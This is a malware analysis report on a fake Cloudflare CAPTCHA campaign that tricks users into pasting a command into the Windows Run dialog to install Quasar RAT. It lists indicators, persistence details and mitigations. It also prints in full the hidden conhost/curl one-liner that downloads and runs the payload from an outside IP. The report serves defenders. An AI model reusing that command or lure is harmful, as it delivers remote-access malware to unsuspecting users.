Malware Analysis Report: (capchabot.cc) Campaign (Quasar RAT)

Report Date

2025-08-06

Executive Summary

A new malware distribution campaign masquerading as a **Cloudflare verification page** has been discovered at `capchabot.cc`. The site tricks users into pasting malicious code into the **Windows Run dialog**, which downloads and executes a **Quasar RAT** payload.

Behavioral analysis and sandbox detonation confirm the payload installs a persistent, memory-injecting RAT with command-and-control (C2) communication. The campaign uses **stealthy execution techniques**, including `conhost.exe --headless`, to avoid user detection.

Key Findings

Category	Details
Threat Family	Quasar RAT (Remote Access Trojan)
File	`a.exe`
SHA256	`e0a69439563c8534c2ef842d4ffcb16696f286d16585186de20351892f9917f1`
Delivery Method	Social engineering via clipboard + Run dialog
Domain Used	`capchabot.cc`
Payload Source IP	`http://213.209.150.188:8112/a.exe`
C2 Connection	`213.209.150.188:2106` (Netherlands)

Category	Details
Persistence	Registry Run key
Execution Method	`conhost.exe --headless`
Malware Score	10/10 (Triage)

Infection Flow

User visits `capchabot.cc` ➡ Fake Cloudflare prompt ➡
Clipboard auto-copy of command ➡ Run dialog ➡
Payload (`a.exe`) downloaded to `%TEMP%` ➡
Executed with `conhost.exe --headless` ➡
RAT installs and persists via registry ➡
C2 contact initiated

Malicious Command Used

```
conhost.exe --headless cmd /c cd /D %userprofile% && curl -s -o a.exe http://213.209.150.188:8112/a.exe && conhost.exe --headless a.exe && REM By pressing the enter button you confirm you are not a bot
```

Breakdown:

Step	Action Description
`conhost.exe --headless cmd /c`	Launches a hidden shell
`cd /D %userprofile%`	Switches to user directory
`curl -s -o a.exe ...`	Silently downloads `a.exe`
`conhost.exe --headless a.exe`	Executes payload invisibly
`REM ...`	Social engineering line to fake legitimacy

Sample Details

Property	Value
File Name	`a.exe`
SHA256	`e0a69439563c8534c2ef842d4ffcb16696f286d16585186de20351892f9917f1`
Type	PE32 executable
Size	~250 KB
Dropped Location	`%TEMP%\a.exe`
Notes	Analyst relocated file to `Documents\` for sandbox upload

Behavioral Analysis (Triage)

Malicious Activities Observed:

- Executed EXE from `%TEMP%\a.exe`
- Created persistence via registry:
  - `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\a.exe = "C:\Users\Admin\Documents\a.exe"`
- Injected into:
  - `cmd.exe`
  - `reg.exe`
  - `AppLaunch.exe`
- Abused APIs:
  - `SetThreadContext`
  - `AdjustPrivilegeToken`
  - `WriteProcessMemory`
  - `SetWindowsHookEx`
  - `AddClipboardFormatListener`

Processes Observed:

- `%TEMP%\a.exe`

- `cmd.exe /c reg add ...`
- `reg.exe` (adding Run key)
- `cmd.exe /c a.exe`
- `AppLaunch.exe` (used as injection target)

Network Behavior:

Destination IP	Country	Port	Purpose
`213.209.150.188`	Netherlands	8112	Malware delivery
`213.209.150.188`	Netherlands	2106	Command & Control
`57.128.140.217`	United Kingdom	443	Geo-recon (`ipwho.is`)

MITRE ATT&CK Mapping

Tactic	Technique Description	ID
Persistence	Registry Run Key	T1547.001
Execution	Command Line Interface	T1059
Defense Evasion	Modify Registry	T1112
Discovery	System Language Discovery	T1614.001
Privilege Escalation	Adjust Token Privileges	T1134.001
C2 Communication	Application Layer Protocol	T1071

Indicators of Compromise (IOCs)

Hashes:

- SHA256: `e0a69439563c8534c2ef842d4ffcb16696f286d16585186de20351892f9917f1`
- Filename: `a.exe`

Domain:

- `capchabot.cc`

IP Addresses:

- `213.209.150.188` (Payload + C2)
- `57.128.140.217` (Recon)

Registry Key:

- `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\a.exe`

Recommended Mitigation Steps

- Block all traffic to IP `213.209.150.188`
- Blacklist domain `capchabot.cc`
- Hunt for `a.exe` in `%TEMP%` or autorun keys in registry (although it might remove itself, not confirmed)
- Monitor for abuse of `conhost.exe --headless`
- Alert if clipboard instructions or Run dialog usage is observed from browsers
- Educate users: **Never paste unknown text into Run**

Attribution Notes

This campaign is linked to the **Quasar Remote Access Trojan** — an open-source RAT used in both criminal and nation-state operations. It provides full remote access, persistence, credential theft, and keylogging capabilities. The campaign seen at `capchabot.cc` weaponizes social engineering and stealthy execution in a highly deceptive manner.